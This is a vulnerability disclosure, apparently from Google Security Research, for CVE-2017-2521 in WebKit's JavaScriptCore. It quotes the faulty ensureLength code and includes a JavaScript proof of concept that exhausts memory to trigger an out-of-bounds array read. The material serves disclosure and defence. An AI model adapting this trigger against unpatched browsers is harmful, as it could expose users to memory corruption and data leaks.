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WebKit JSC JSObject::ensureLength Failure Check

WebKit JSC JSObject::ensureLength Failure Check
Posted Jun 1, 2017
Authored by Google Security Research, lokihardt

WebKit JSC JSObject::ensureLength does not check if ensureLengthSlow fails.

tags | exploit
advisories | CVE-2017-2521
MD5 | 691f83669e1b3663794cb1b6b2db6a9b

WebKit JSC JSObject::ensureLength Failure Check

Change Mirror Download
 WebKit: JSC: JSObject::ensureLength doesn't check if ensureLengthSlow failed. 

CVE-2017-2521


Here's a snippet of JSObject::ensureLength.

bool WARN_UNUSED_RETURN ensureLength(VM& vm, unsigned length)
{
ASSERT(length < MAX_ARRAY_INDEX);
ASSERT(hasContiguous(indexingType()) || hasInt32(indexingType()) || hasDouble(indexingType()) || hasUndecided(indexingType()));

bool result = true;
if (m_butterfly.get()->vectorLength() < length)
result = ensureLengthSlow(vm, length);

if (m_butterfly.get()->publicLength() < length)
m_butterfly.get()->setPublicLength(length);
return result;
}

|setPublicLength| is called whether |ensureLengthSlow| failed or not. So the |publicLength| may be lager than the actual allocated memory's size, which results in an OOB access.

Tested on Linux.

PoC:
const kArrayLength = 0x200000;

let arr = new Array(kArrayLength);
arr.fill({});

let exh = [];
try {
for (;;) {
exh.push(new ArrayBuffer(kArrayLength * 8 * 8));
}
} catch (e) {
}

try {
arr.length *= 8;
print('failed');
} catch (e) {
print(e);

exh = null;

print('arr length: ' + arr.length.toString(16));
for (let i = kArrayLength, n = arr.length; i < n; i++) {
if (arr[i])
print(arr[i]);
}
}


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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